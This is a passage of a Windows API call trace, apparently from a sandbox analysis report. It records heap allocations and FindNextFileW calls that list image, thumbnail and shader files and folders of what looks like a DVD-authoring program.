nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.104] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920bd0 [0245.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x924cd8 [0245.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0245.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.105] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.105] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.105] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb33bc6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb33bc6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_postage_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.106] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, 